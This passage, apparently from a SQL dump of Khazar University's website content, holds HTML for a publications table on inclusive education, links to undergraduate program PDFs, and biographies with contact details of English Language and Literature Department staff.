width=\"66\"><p><strong>&nbsp;</strong></p></td></tr><tr><td width=\"156\"><p>Changing Perception of a Child with Disabilities in general schools in Azerbaijan</p></td><td width=\"168\"><p>Article. Theses</p></td><td width=\"90\"><p>Co-authors.</p><p>Y.karimova and Uş Mikailova</p></td><td width=\"120\"><p>Embracing inclusive approaches for children and youth with special educational needs, Riga,</p></td><td width=\"90\"><p>July 11-14, 2010</p></td><td width=\"66\"><p><strong>&nbsp;</strong></p></td></tr><tr><td width=\"156\"><p>İbitidai İnklüziv Təhsil&nbsp;</p></td><td width=\"168\"><p>Peşəkarlar üçün metodik vəsait</p></td><td width=\"90\"><p>U. Mikayılova, Y. Kərimova, Sə. Mımmıdova vı s</p><p>&nbsp;</p></td><td width=\"120\"><p>İndigo Nəşriyyatı</p></td><td width=\"90\"><p>Bakı, 2010</p></td><td width=\"66\"><p><strong>&nbsp;</strong></p></td></tr><tr><td width=\"156\"><p>İnklüziv Təhsil&nbsp; (Məktəbəqədər Təhsil Pilləsi üçün)</p></td><td width=\"168\"><p>metodik vəsait</p></td><td width=\"90\"><p>U. Mikayılova, Y. Kərimova, Sə. Mımmıdova vı s</p><p><em>&nbsp;</em></p></td><td width=\"120\"><p>İndigo Nəşriyyatı</p></td><td width=\"90\"><p>Bakı, 2011</p></td><td width=\"66\"><p><em>&nbsp;</em></p></td></tr></tbody></table><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\">&nbsp;</p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\"><strong>2.&nbsp;&nbsp; Unpublished papers</strong></p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\">&nbsp;</p><table cellspacing=\"0\" cellpadding=\"0\" width=\"660\" style=\"font-family:\'times new roman\', times, serif;font-size:medium\"><tbody><tr><td width=\"252\"><p><strong>Title</strong></p></td><td width=\"108\"><p><strong>Type of&nbsp; unpublished paper</strong></p></td><td width=\"132\"><p><strong>All Authors</strong></p></td><td width=\"60\"><p><strong>Number of pages</strong></p></td><td width=\"108\"><p><strong>eVersion</strong></p><p><strong>Yes/No</strong></p></td></tr><tr><td width=\"252\"><p>How to make successful accommodation and modification” guidebook for secondary teaches</p></td><td width=\"108\"><p>Book</p></td><td width=\"132\"><p>U. Mikayılova, Y. Kərimova, Sə.</p></td><td width=\"60\"><p>95</p></td><td width=\"108\"><p>&nbsp;</p></td></tr><tr><td width=\"252\"><p>Reading Skills of Azerbaijani Students: Possible Reasons for Underperforming in PISA 2006</p></td><td width=\"108\"><p>Article</p></td><td width=\"132\"><p>U. Mikayılova</p></td><td width=\"60\"><p>50</p></td><td width=\"108\"><p>+</p></td></tr><tr><td width=\"252\"><p>Opportunities and Barriers in Educating Children with Disabilities in Azerbaijan.&nbsp;&nbsp;</p><p>Evaluation of teaching practices in special and boarding schools, general education schools.</p><p>&nbsp;</p></td><td width=\"108\"><p>Article</p><p>UNCIEF</p></td><td width=\"132\"><p>U. Mikayılova, Y. Kərimova,etc</p></td><td width=\"60\"><p>30.</p></td><td width=\"108\"><p>+</p></td></tr><tr><td width=\"252\"><p>Inclusive Education and Teacher Training Reform in Azerbaijan: Overview of Education of Children with Disabilities in Azerbaijan</p><p>&nbsp;</p></td><td width=\"108\"><p>Article</p></td><td width=\"132\"><p>Lani Florian and Ulviyya Mikayilova</p></td><td width=\"60\"><p>15 s.</p></td><td width=\"108\"><p>+</p></td></tr></tbody></table>  <br></div>'),(907,590,'az','Bakalavr Proqramları','Bakalavr Proqramları','<p><a href=\"http://www.khazar.org/files/pdf/BS_Mathematics_and_Computer_Education.pdf\">Riyaziyyat və İnformatika müəllimliyi</a></p><p><a href=\"http://www.khazar.org/files/pdf/BS_History_and_Geography_Education.pdf\">Tarix və Coğrafiya&nbsp;müəllimliyi</a>&nbsp;</p><p><a href=\"http://www.khazar.org/files/pdf/BS_Chemistry_and_Biology_Education.pdf\">Kimya və Biologiya müəllimliyi</a></p><p><a href=\"http://www.khazar.org/files/pdf/BS_Elementary_Education.pdf\">İbtidai sinif müəllimliyi</a></p><p><a href=\"http://www.khazar.org/files/pdf/BA_Azerbaijani_Language_and_Literature.pdf\">Azərbaycan dili və ədəbiyyatı müəllimliyi</a>&nbsp;</p><p><a href=\"http://www.khazar.org/files/pdf/BA_Azerbaijani_Language_and_Literature_Education.pdf\">BA Azərbaycan Dili və Ədəbiyyatı</a></p>'),(908,590,'en','Undergraduate Programs','Undergraduate Programs','<p><a href=\"http://www.khazar.org/files/pdf/BA_Azerbaijani_Language_and_Literature.pdf\">BA&nbsp;Azerbaijani&nbsp;Language&nbsp;and&nbsp;Literature</a></p><p><a href=\"http://www.khazar.org/files/pdf/BA_Azerbaijani_Language_and_Literature_Education.pdf\">BA&nbsp;Azerbaijani&nbsp;Language&nbsp;and&nbsp;Literature&nbsp;Education</a></p><p><a href=\"http://www.khazar.org/files/pdf/BS_Chemistry_and_Biology_Education.pdf\">BS&nbsp;Chemistry&nbsp;and&nbsp;Biology&nbsp;Education</a></p><p><a href=\"http://www.khazar.org/files/pdf/BS_Elementary_Education.pdf\">BS&nbsp;Elementary&nbsp;Education</a>&nbsp;</p><p><a href=\"http://www.khazar.org/files/pdf/BS_History_and_Geography_Education.pdf\">BS&nbsp;History&nbsp;and&nbsp;Geography&nbsp;Education</a></p><p><a href=\"http://www.khazar.org/files/pdf/BS_History_and_Geography_Education.pdf\"></a><a href=\"http://www.khazar.org/files/pdf/BS_Mathematics_and_Computer_Education.pdf\">BS&nbsp;Mathematics&nbsp;and&nbsp;Computer&nbsp;Education</a></p>'),(909,598,'en','Faculty and Staff','Faculty and Staff','<img src=\"/files/eng_depart/20180301_103323-1.jpg\" style=\"width:150px;height:180px;float:left;margin:7px\"><p><strong><a href=\"http://www.khazar.org/files/eng_depart/Firangiz%20Nasirova%20%20%20%2B.pdf\">Firangiz Nasirova</a></strong><br><strong></strong></p><p style=\"text-align:justify\">Firangiz Nasirova is\r\na head instructor at the English Language and Literature Department. She has been\r\nworking at Khazar since 2001. In 1994 she was a visiting professor at the\r\nGraduate School of Education and Information Science at UCLA, CA. In 1996 she\r\nvisited the United States as a Joint Educational Researcher.&nbsp;She has taught a variety of courses in\r\nmethodology of teaching English, practical translation, and literature:&nbsp;Shakespeare Then and Now, Azerbaijan\r\nLiterature in English (for foreign students), English Through Movies, Active\r\nReading Strategies for Beginners, Listening Practice, and Phonetics. Firangiz\r\nNasirova delivered training courses on the rights of women based on “Claiming Our\r\nRights: A Manual for Women’s Human Rights Education in Muslim Societies” publication\r\nby The Sisterhood Is Global Institute (SIGI), Washington, DC.</p><p><strong>E-mail:</strong>&nbsp;<a href=\"mailto:fnasirova@khazar.org\">fnasirova[at]khazar.org</a></p>\r\n<hr>\r\n<p><strong><a href=\"http://www.khazar.org/files/eng_depart/Kamala_Asgerova%20%2B.pdf\"><img src=\"/files/eng_depart/kamala_a.jpg\" style=\"width:150px;height:163px;margin:7px;float:left\">Kamala Askerova</a></strong></p><p style=\"text-align:justify\">Kamala Askerova graduated from Azerbaijan State\r\nInstitute of Languages in 1983. In 1993,&nbsp;she\r\nstarted her career of an English instructor,&nbsp;and in 1995,&nbsp;a senior instructor&nbsp;at the Department of\r\nEnglish Language and Literature at <st1:placename w:st=\"on\"><st1:place w:st=\"on\">Khazar</st1:place>\r\n <st1:placetype w:st=\"on\">University</st1:placetype></st1:placename>, where she\r\ntaught such courses as ESL, ESP for Medicine, ESP for Law, advanced Grammar, and&nbsp;Current events.&nbsp;From 1994 to 1997 she taught Extension English Courses for Medical Doctors at Khazar\r\nUniversity. Since 2014 she has been working as&nbsp;Foundations Coordinator at Khazar University.<br>\r\n  </p>\r\n<p><strong>E-mail:</strong> <a href=\"mailto:kamala.Askerova@khazar.org\">kamala.askerova[at]khazar.org</a></p>\r\n<hr>\r\n<p text-align:justify\"=\"\" style=\"text-align: justify;\"><a href=\"http://www.khazar.org/files/pdf/Eynur%20Mehdiyev%20CV.pdf\"><img src=\"/files/pdf/eynur.jpg\" style=\"width:150px;height:185px;margin-left:7px;margin-right:7px;margin-bottom:7px;float:left\"></a><a href=\"http://www.khazar.org/files/eng_depart/CV/eynur_mehdiyev_cv.pdf\"><strong>Eynur Mehdiyev</strong></a><strong></strong></p><p text-align:justify\"=\"\" style=\"text-align: justify;\">Eynur Mehdiyev did his BA&nbsp;in Linguistics at Azerbaijan State\r\nUniversity of Languages, Baku, Azerbaijan and MA in English Language Teaching\r\nat Coventry University, Coventry, UK. He has over ten years of experience in\r\nteaching English to students and adults. He is currently working for Khazar\r\nUniversity as a&nbsp;vice-chair of English Language and Literature Department.&nbsp;</p><p text-align:justify\"=\"\" style=\"text-align: justify;\"><strong>Phone:</strong>&nbsp;(+994&nbsp;12) 421&nbsp;79&nbsp;16 (281)&nbsp;</p><p text-align:justify\"=\"\" style=\"text-align: justify;\"><strong>E-mail:</strong>&nbsp;<a href=\"mailto:emehdiyev@khazar.org\">emehdiyev[at]khazar.org</a></p>\r\n<hr>\r\n<p text-align:justify\"=\"\" style=\"text-align: justify;\"><strong><a href=\"http://www.khazar.org/files/eng_depart/MILANA_ABBASOVA_cv.pdf\"><img src=\"/files/eng_depart/milana.png\" style=\"border:0px none #0000ee;width:150px;height:189px;vertical-align:baseline;float:left;margin:7px\"></a></strong><a href=\"http://www.khazar.org/files/eng_depart/MILANA_ABBASOVA_cv%20January%202018.pdf\" style=\"text-align:start\"><strong>Milana Abbasova</strong></a>&nbsp;</p><p text-align:justify\"=\"\" style=\"text-align: justify; padding-left: 160px;\">Milana Abbasova studied for&nbsp;both B.A. and M.A. degrees at\r\nAzerbaijan University of Languages. She is now a PhD candidate in\r\nSociolinguistics at Khazar University.&nbsp;Milana Abbasova  has been working at Khazar\r\nUniversity for more than ten years. She teaches Grammar, History of the English\r\nLanguage, Sociolinguistics and several other subjects.&nbsp;Milana Abbasova   is currently&nbsp;in charge of\r\nprogram&nbsp;coordination&nbsp;of the&nbsp;English Language and Literature<br>&nbsp;Department.</p>\r\n<p text-align:justify\"=\"\" style=\"text-align: justify; padding-left: 160px;\"><strong>Phone:</strong>&nbsp;(+994&nbsp;12) 421&nbsp;79&nbsp;16 (230)</p><p text-align:justify\"=\"\" style=\"text-align: justify; padding-left: 160px;\"><strong>E-mail:</strong>&nbsp;<a href=\"http://mailto:mabbasova@khazar.org/\"></a><a href=\"mailto:mabbasova@khazar.org\">mabbasova[at]khazar.org</a></p>\r\n<hr>\r\n<p><strong><img src=\"http://www.khazar.org/files/eng_depart/parvin_k.jpg\" style=\"border:0px  #000000;float:left;width:150px;height:168px;margin-left:7px;margin-right:7px;margin-bottom:7px\">  <a href=\"http://www.khazar.org/files/eng_depart/Parvin_Karimova%2B.pdf\">Parvin Karimova</a></strong></p><p><strong><a href=\"http://www.khazar.org/files/eng_depart/Parvin_Karimova%2B.pdf\"></a></strong>Parvin Karimova is a full-time teacher at The\r\nEnglish Language and Literature Department. She earned her B.A. and M.A. degree\r\nat Khazar University with honor diplomas. From 2008 to 2009 she worked as\r\ndean’s assistant at School of Humanities and Social Sciences. In 2012-2013 she\r\nworked as a tutor at Khazar Training Center of&nbsp;Khazar University. Since 2009 she has been teaching&nbsp;English Foundations 1 and Foundations 2,\r\nEnglish Grammar pre-advanced. Parvin Karimova earned her Ph.D degree in 2013.\r\nShe attended several scientific conferences.&nbsp;</p><p><strong>E-mail:&nbsp;</strong><a href=\"mailto:pkerimova@khazar.org\">pkerimova[at]khazar.org</a></p>\r\n<hr>\r\n<p><strong><img src=\"/files/eng_depart/gulnur_n.png\" style=\"float:left;width:150px;height:202px;margin-left:7px;margin-right:7px;margin-bottom:7px\"><a href=\"http://www.khazar.org/files/eng_depart/Gulnur_Miriyeva%2B%20(1).pdf\">Gulnur Nabiyeva</a></strong></p><p>Gulnur Nabiyeva is a full-time instructor at the English Language and Literature Department, Khazar University. She has been teaching at Khazar University since 2011. Gulnur Nabiyeva did her Bachelor\'s and MA degree in Translation at MaGU, Russia. She is offering several minor and major courses: Functions and Structures of Grammar (pre-advanced and advanced), Translation courses (Economic Translation and Translation of Oil and Gas Materials), Psycholinguistics (for Master\'s degree students), etc. She is currently a PhD student at Khazar University. Gulnur Nabiyeva’s major research interests cover Sociolinguistics and Psycholinguistics. The main focus of her PhD thesis is “Language variation and textual categorization.”  <br></p><p><strong>E-mail:&nbsp;</strong><a href=\"mailto:gnabiyeva@khazar.org\">gnabiyeva[at]khazar.org</a></p>\r\n<hr>\r\n<p><img src=\"/files/eng_depart/IMG-20180115-WA0008.jpg\" style=\"border:0px  #000000;width:150px;height:194px;float:left;margin-left:7px;margin-right:7px;margin-bottom:7px\"><a href=\"http://www.khazar.org/files/eng_depart/Naila_Gasimova%20%2B.pdf\"><strong>Naila Gasimova</strong></a></p><p style=\"text-align:justify\">Naila Qasimova is an alumna of Azerbaijan University of Languages.&nbsp;She is currently teaching a number of courses\r\nat Khazar University English Language and Literature Department with a focus on\r\nBritish and American literature.  <br></p><p><strong>E-mail:</strong>&nbsp;<a href=\"http://mailto:Naila.Gasimova@khazar.org\">Naila.Gasimova[at]khazar.org</a>  <br></p><p><br></p><p><br></p>\r\n<hr>\r\n<img src=\"/files/eng_depart/lala.png\" style=\"border:0px #000000;font-size:large;width:150px;height:185px;float:left;margin:7px\"><p><strong><a href=\"http://www.khazar.org/files/eng_depart/CV/lala_gamidova_cv.pdf\">Lala Gamidova</a></strong></p><p style=\"text-align:justify\">Lala Gamidova, MA&nbsp;in Linguistics, earned her degree at the Peter the Great Saint-Petersburg Polytechnic University, Institute of Humanities, Linguistics and Cross-Cultural Communication Department.&nbsp;She is a full-time instructor at the English Language and Literature Department. Lala Gamidova teaches a variety of courses for BA&nbsp;and MA&nbsp;level students.&nbsp;Lala Gamidova’s major research interests embrace Applied Linguistics and Discourse Analysis which is the main focus of her PhD&nbsp;thesis “The Formation of Discourse Ability in Linguistic Personality in Triglossia Environment.”</p><p><strong>E-mail:&nbsp;</strong><a href=\"mailto:lgamidova@khazar.org\">lgamidova[at]khazar.org</a></p><p><br></p>\r\n<hr>\r\n<img src=\"/files/eng_depart/zamira.png\" style=\"border:0px #000000;width:150px;height:185px;margin:7px;float:left\"><p><strong><a href=\"http://www.khazar.org/files/eng_depart/Zamira%20Gurbanova%20%2B.pdf\">Zamira Gurbanova</a></strong></p><p style=\"text-align:justify\">Zamira Gurbanova is a full- time instructor at the English Language and Literature Department. She has been working at Khazar University since 2011. Zamira Gurbanova did her Bachelor\'s degree in Translation at Azerbaijan University of Languages, and she earned her MA&nbsp;degree in Translation at Qafqaz University. She is offering several courses in Translation including Written Translation, Legal and Court Translation, Translation of Scientific and Technical Materials, Economic Translation, Social-Political Translation, Terminology and Documentation, Consecutive Interpreting and Note-Taking, Oral Translation, Sight Translation, etc. Zamira Gurbanova has also been working as an assistant editor at Dictionary and Encyclopedia Centre since 2012. She is currently a PhD&nbsp;student at Khazar University.</p><p><strong>E-mail:</strong>&nbsp;<a href=\"mailto:Zqurbanova@khazar.org\">zqurbanova[at]khazar.org</a></p>\r\n<hr>\r\n<p><img src=\"/files/eng_depart/IMG-20180227-WA0003.jpg\" style=\"border:0px  #000000;width:170px;height:182px;float:left;margin:7px\"><strong><a href=\"http://www.khazar.org/files/eng_depart/CV/saadat_farhadova_cv.pdf\">Saadat Farhadova</a></strong></p><p>Saadat Farhadova, M.A. in Linguistics, earned her degree at Azerbaijan University of Languages with an Honors Diploma. She worked as an interpreter and translator at Oklahoma LTD, taught Business English, EFL to international staff, and held English conversation clubs for non-native speakers in a business environment. Since 2007, she has been an English Language Instructor at the English Language and Literature Department of Khazar University. From 2011 to 2015, Saadat Farhadova also worked as Local Coordinator for English Programmes at the School of Economics and Management while operating as a Committee member for Assessment of Departmental Effectiveness at the English Language and Literature Department. Her main subjects of instruction have been English Foundations, Academic English, English for Professional Communication, ALS, and ESP for Economics students.&nbsp;</p>  <p><strong>E-mail:</strong>&nbsp;<a href=\"http://mailto:sfarhadova@khazar.org\">sfarhadova[at]khazar.org</a></p>\r\n<hr>\r\n<img src=\"/files/eng_depart/irina_o.jpg\" style=\"float:left;margin:7px;width:150px;height:180px\"><p><strong><a href=\"http://www.khazar.org/files/eng_depart/Irina%20Orujova%20%2B.pdf\">Irina Orucova</a></strong></p><p style=\"text-align:justify\">Irina Orucova is a part-time teacher at the English Language and Literature Department. She is offering several courses in Linguistics and Translation. She is the author of many scientific articles related to Stylistics and Syntax of the English Language.</p><p><strong>E-mail:</strong>&nbsp;<a href=\"mailto:Irina.Orujova@khazar.org\">Irina.Orujova[at]khazar.org</a></p><p style=\"text-align:justify\"><br></p><p style=\"text-align:justify\"><br></p>\r\n<hr>\r\n<p><img src=\"/files/eng_depart/konul_h.jpg\" style=\"float:left;margin:7px;width:150px;height:135px\"><strong><a href=\"http://www.khazar.org/files/eng_depart/CV/konul_huseynova_cv.pdf\">Konul Huseynova</a></strong></p><p><strong><a href=\"http://www.khazar.org/files/eng_depart/Konul%20H.renewed.docx\"></a></strong>Konul Huseynova earned her B.A. degree in Linguistics at Nakhchivan State University, with an Honors Diploma in 2006. She received her M.A. degree in English language and literature at Nakhchivan University, with an Honors Diploma in 2011. She started her career of an English instructor in 2006. From 2006 to 2010 She worked as an English tutor at Araz Courses and as an English instructor at school № 11, named after J. Nakhchivanski in Nakhchivan. In 2012-2013 she worked as a tutor at Khazar Training Center of Khazar University. Since 2013 she has been working as an English instructor at the English Language and Literature Department of Khazar University. She teaches Foundations 1 and Foundations 2 at the School of Engineering and Applied Sciences. She prepared an educational technically based journal on reading material for Foundations 1 for the students of the School of Engineering and Applied Sciences. Since 2017, She has been systematically writing research papers about Approaches and Methods in the English language, at AUL.&nbsp;She has attended many international scientific conferences.</p><p style=\"text-align:justify\"><strong>E-mail:</strong> <a href=\"mailto:konul.huseynova@khazar.org\">konul.huseynova[at]khazar.org</a></p>\r\n<hr>\r\n<p><img src=\"/files/eng_depart/IMG-20180116-WA0013.jpg\" style=\"border:0px #000000;width:150px;height:174px;vertical-align:baseline;margin:7px;float:left\"><a href=\"http://www.khazar.org/files/eng_depart/CV/shahriyar_mammadov_cv.pdf\"><strong>Shahriyar Mammadov</strong></a></p><p style=\"text-align:justify\">Shahriyar Mammadov&nbsp;completed his&nbsp;Bachelor\'s degree at Khazar University in 2012. After completing the degree successfully, he was&nbsp;admitted to an&nbsp;M.A.&nbsp;program in English Studies and&nbsp;Philology at Eotvos Lorand University, based in Hungary. While studying at ELTE, he was chairman of Azerbaijani-Hungarian Youth Union. On returning to Baku, he started his career as a lecturer in Khazar and Baku State University. At the same time, he is studying for his&nbsp;Ph.D.&nbsp;degree at Khazar University.<br></p><p><strong>E-mail:</strong>&nbsp;<a href=\"mailto:Shahriyar.Mammadov@khazar.org\">Shahriyar.Mammadov[at]khazar.org</a></p><p><br></p>\r\n<hr>\r\n<p><img src=\"/files/eng_depart/IMG-20180113-WA0043.jpg\" style=\"border:0px #000000;width:150px;height:194px;float:left;margin-left:7px;margin-right:7px;margin-bottom:7px\"><strong><a href=\"http://www.khazar.org/files/eng_depart/CV/nahida_guliyeva_cv.pdf\">Nahide Guliyeva</a></strong></p><p style=\"text-align:justify\">Nahide Quliyeva graduated from Azerbaijan University of Languages in 2002. The same year, she was awarded a&nbsp;Master’s degree. She is a part-time instructor at the English Language&nbsp;and Literature Department. She has been teaching English Foundations since September 2017.  <br></p><p><strong>E-mail: </strong> <a href=\"mailto:nahide.guliyeva@khazar.org\">nahide.guliyeva[at]khazar.org</a>  <br></p><p><br></p><p><br></p>\r\n<hr>\r\n<p><strong><a href=\"http://www.khazar.org/files/eng_depart/Aziza%20Zulfugarova.docx\"><img src=\"/files/eng_depart/aziza_z.jpg\" style=\"float:left;width:150px;height:170px;margin:7px\"></a></strong><strong><a href=\"http://www.khazar.org/files/eng_depart/CV/aziza_zulfugarova_cv.pdf\">Aziza Zulfugarova</a></strong></p><p style=\"text-align:justify\">Aziza Zulfugarova graduated from Azerbaijan\r\nUniversity of Languages in 2010. The following year she entered Khazar\r\nUniversity’s M.A.&nbsp;program and in 2014, she was awarded a&nbsp;Master’s degree. Since\r\n2012, she has taught English Foundations at the Department of English Language\r\nand Literature at Khazar University.</p>\r\n<p><strong>E-mail: </strong><a href=\"mailto:aziza.zulfugarova@khazar.org\">aziza.zulfugarova[at]khazar.org</a></p><p><br></p>  <p><br></p>\r\n<hr>\r\n<img src=\"/files/eng_depart/IMG-20180115-WA0007.jpg\" style=\"border:0px  #000000;width:150px;height:148px;float:left;margin-left:7px;margin-right:7px;margin-bottom:7px\"><p style=\"text-align:justify\"><a href=\"http://www.khazar.org/files/eng_depart/Mahire%20Guluzadeh%20%2B.pdf\" style=\"font-size:large;text-align:start\"><strong>Mahira Guliyeva</strong></a></p><p style=\"text-align:justify\">In 2014, Mahira Guliyeva graduated from\r\nAzerbaijan University of Languages with an honors diploma.&nbsp;In 2017, she graduated from the above\r\nuniversity with an honors diploma in English Language and Linguistics. She has\r\nbeen teaching English Foundations at Khazar University since September 2017.</p>\r\n<p><strong>E-mail:</strong> <a href=\"mailto:mahire.guliyeva@khazar.org\">mahire.guliyeva[at]khazar.org</a></p>\r\n<hr>\r\n<img src=\"/files/eng_depart/sevinj_i.jpg\" style=\"float:left;margin:7px;width:150px;height:178px\"><p><strong><a href=\"http://www.khazar.org/files/eng_depart/CV/sevinj_iskandarova_cv.pdf\">Sevinj Iskandarova</a></strong></p><p style=\"text-align:justify\">In 2013, Sevinj Iskandarova received\r\nher B.A.&nbsp;degree with honors in Translation and Interpreting from Baku Slavic\r\nUniversity. In 2016, she earned her MA&nbsp;degree in English Literature at Hankuk\r\nUniversity of Foreign Studies, Seoul, South Korea. Her work experience includes\r\nEnglish-Azerbaijani-Korean translation and interpreting jobs in her student\r\nyears and during an internship at the Embassy of the Republic of Azerbaijan to\r\nthe Republic of Korea as well as teaching at Jungsan High School of South Korea\r\nfor two separate semesters. Since 2016, she has been an instructor at the\r\nEnglish Language and Literature Department of Khazar University.</p>\r\n<p><strong>E-mail:</strong> <a href=\"mailto:sevinj.iskenderova@khazar.org\">sevinj.iskenderova[at]khazar.org</a>&nbsp;</p>\r\n<hr>\r\n<p><strong><a href=\"http://www.khazar.org/files/eng_depart/Adilya_Abdullayeva%2B.pdf\"><img src=\"/files/eng_depart/adela.jpg\" style=\"float:left;margin:7px;width:150px;height:144px\">Adela Abdullayeva</a></strong><br></p><p style=\"text-align:justify\">Adela Abdullayeva received her Bachelor\'s degree in\r\nPhilology in 2003. In 2006, she earned her Master\'s degree in Linguistics at\r\nAzerbaijan University of Languages. Her career path took her from a researcher\r\nposition at Azerbaijan National Academy of Sciences to a brief experience as a\r\ndeputy of Dean at Khazar University School of Education to her current teaching\r\nposition with Khazar University where she has taught a number of courses, such\r\nas Reading and Writing (levels 1 and 2), Foundations 1 and Foundations 2, ESP\r\nComputer, and ESP Mechanical Engineering to the students of the School of\r\nEngineering and Applied Sciences. She is a doctoral candidate and is working on\r\nher dissertation ”Orhan Pamuk in English Speaking Literature.”.</p><p><strong>E-mail:</strong> <a href=\"mailto:adela.abdullayeva@khazar.org\">adila.abdullayeva[at]khazar.org</a></p>\r\n<hr>\r\n<p><img src=\"/files/eng_depart/IMG-20180115-WA0016.jpg\" style=\"border:0px #000000;width:150px;height:127px;vertical-align:baseline;margin-left:7px;margin-right:7px;margin-bottom:7px;float:left\"><strong><a href=\"http://www.khazar.org/files/eng_depart/CV/leyla_rahimova_cv.pdf\">Leyla Rahimova</a></strong></p><p style=\"text-align:justify\">Leyla Rahimova received her Bachelor\'s degree in Law and a\r\nsecond baccalaureate degree in International Law, both with high honors, from\r\nKhazar University and her third baccalaureate degree in English Philology with\r\nan honors diploma from Azerbaijan University of Languages.&nbsp;In 2011-2014, she did her Master\'s at\r\nKhazar University. where she defended her Master\'s thesis on \"Comparative\r\nAnalysis of Adverbs and Adjectives (Linguistic Trends)\" under the\r\nsupervision of Eldar Shahgaldiyev, Ph.D., and obtained a Master\'s degree in\r\nEnglish Language and Literature with an honors diploma. Since 2012, she has\r\nbeen with Khazar University teaching English Foundations and Academic English.&nbsp;</p><p><strong>E-mail:</strong> <a href=\"mailto:Leyla.Rahimova@khazar.org\">Leyla.Rahimova[at]khazar.org</a></p>\r\n<hr>\r\n<p><img src=\"/files/eng_depart/IMG-20180115-WA0009.jpg\" style=\"border:0px  #000000;width:150px;height:118px;float:left;margin-left:7px;margin-right:7px;margin-bottom:7px\"><a href=\"http://www.khazar.org/files/eng_depart/Aytan%20Mammadova%20%2B.pdf\"><strong>Aytan Mammadova</strong></a></p><p style=\"text-align:justify\">Aytan Mammadova completed her Bachelor’s and Master’s\r\ndegrees at Azerbaijan University of Languages with an honors diploma. Between\r\n2014-2016, she taught Speech Practice at AUL and worked at Baku Slavic\r\nUniversity in SABAH Groups. She has been working at Khazar University since\r\n2012, teaching Academic English and English Foundations. She also works at AUL\r\nas an English Instructor in Methodology, Curriculum and Speech Practice.</p> <p><strong>E-mail:</strong>&nbsp;<a href=\"http://mailto:aytan.mammadova@khazar.org\">aytan.mammadova[at]khazar.org<br></a></p>\r\n<hr>\r\n<p><img src=\"/files/eng_depart/husniyye_t.jpg\" style=\"float:left;margin:7px;width:150px;height:150px\"><strong><a href=\"http://www.khazar.org/files/eng_depart/CV/husniyye_tanriverdiyeva_cv.pdf\">Husniyye Tanriverdiyeva</a></strong></p><p style=\"text-align:justify\">Husniyye Tanriverdiyeva graduated from the English Language\r\nDepartment of Azerbaijan University of Languages with an honors diploma in\r\n2009. After teaching at School-lyceum complex under Baku Slavic University and\r\nBaku Slavic University, she became an instructor at the English Language and\r\nLiterature Department of Khazar University in 2017, teaching English\r\nFoundations 1. Same year, she completed her doctoral study in Comparative and\r\nTypological Linguistics at Baku Slavic University, and she is preparing for the\r\ndefense of her dissertation.&nbsp;</p> <p> <strong>E-mail:&nbsp;</strong><a href=\"mailto:husniyye.tanriverdiyeva@khazar.org\">husniyye.tanriverdiyeva[at]khazar.org</a></p>\r\n<hr>\r\n<p><img src=\"/files/eng_depart/xanim_.jpg\" style=\"float:left;margin:7px;width:150px;height:154px\"><strong><a href=\"http://www.khazar.org/files/eng_depart/CV/khanim_ahmadova_cv.pdf\">Khanim Ahmadova</a></strong></p><p style=\"text-align:justify\">Khanim Ahmadova graduated from Azerbaijan University of\r\nLanguages in 2010. She earned her Master’s degree in English Linguistics and\r\nLiterature at Qafqaz University with an honours diploma. Since 2012, she has\r\nbeen an English Language Instructor at the English Language and Literature\r\nDepartment of Khazar University teaching English Foundations for Education and\r\nHumanities students. Khanim Ahmadova earned her Ph.D.&nbsp;degree in Germanic\r\nLanguages from Khazar University in 2015.&nbsp;She has published a number of articles in various journals in Azerbaijan\r\nand abroad and attended several international scientific conferences.</p><p><strong>E-mail: </strong> <a href=\"mailto:Khanim.Ahmadova@khazar.org\">Khanim.Ahmadova[at]khazar.org</a></p>\r\n<hr>\r\n<p><img src=\"/files/eng_depart/IMG-20180113-WA0010.jpg\" style=\"border:0px #000000;width:150px;height:127px;float:left;margin-left:7px;margin-right:7px;margin-bottom:7px\"><strong><a href=\"http://www.khazar.org/files/eng_depart/Nubar%20Agalarova_CV%20%2B.pdf\">Nubar Agalarova</a></strong><br></p>\r\n<p style=\"text-align:justify\">Nubar Agalarova, received her B.A.&nbsp;in English Language and\r\nLiterature from Azerbaijan University of Languages. In 2008, she received an\r\nM.A.&nbsp;degree with honors in English language and Literature at Qafqaz\r\nUniversity, where she had worked as a translator (English-Azerbaijani or\r\nAzerbaijani-English) at \"Dushunga\" Translation Centre and as an\r\nEnglish instructor during her student years. Nubar Agalarova\'s teaching\r\nexperience at Azerbaijan High Military School and Kaspi Educational Center\r\nbrought her to the English Language and Literature Department of Khazar\r\nUniversity in 2012 where she has worked ever since.</p><p><strong>E-mail:</strong> <a href=\"mailto:Nubar.Agalarova@khazar.org\"></a><a href=\"mailto:Nubar.Agalarova@khazar.org\">Nubar.Agalarova[at]khazar.org</a></p>\r\n<hr>\r\n<p><strong><strong><a href=\"http://www.khazar.org/files/eng_depart/Parvana_Babayeva_CV.pdf\">Parvana Babayeva</a></strong></strong><strong><strong><img src=\"http://www.khazar.org/files/eng_depart/parvana_b.jpg\" style=\"border:0px  #000000;float:left;margin-left:7px;margin-right:7px;margin-bottom:7px;width:150px;height:185px\"></strong></strong></p>\r\n<p>Parvana Babayeva received her B.A.&nbsp;(with Honors Diploma)&nbsp;and M.A.&nbsp;(with Honors Diploma) at Azerbaijan State University of Languages.She is a part-time instructor at the English Language and Literature Department. She has been teaching English Foundations at Khazar University since November 2017.&nbsp;</p><p><strong>E-mail:&nbsp;</strong><a href=\"mailto:parvana.babayeva@khazar.org\">parvana.babayeva[at]khazar.org</a>&nbsp;</p><p><br></p><p><br></p>\r\n<hr>\r\n<p><strong><a href=\"http://www.khazar.org/files/eng_depart/CV/leyla_jumayeva_cv.pdf\"><img src=\"/files/eng_depart/images/leila_jumayeva.jpg\" style=\"float:left;width:150px;height:166px;margin-left:7px;margin-right:7px;margin-bottom:7px\">Leyla Jumayeva</a></strong></p><p>Leyla Jumayeva got her BA and MA degree in English philology at Azerbaijan University of Languages. She is doing Ph.D in Stylistics at Azerbaijan University of Languages. She is currently teaching a Foundation course at Khazar University.<br></p><p><strong>E-mail:</strong>&nbsp;<a href=\"mailto:leyla.jumayeva@khazar.org\">leyla.jumayeva[at]khazar.org</a></p><p><br></p> \r\n<hr><p><strong><a href=\"http://www.khazar.org/files/eng_depart/CV/aytan_khalili_cv.pdf\"><img src=\"/files/eng_depart/images/aytan_khalilli.jpg\" style=\"width:150px;height:170px;margin-left:7px;margin-right:7px;margin-bottom:7px;float:left\">Aytan Khalili</a></strong></p><p>Aytan Khalili earned her 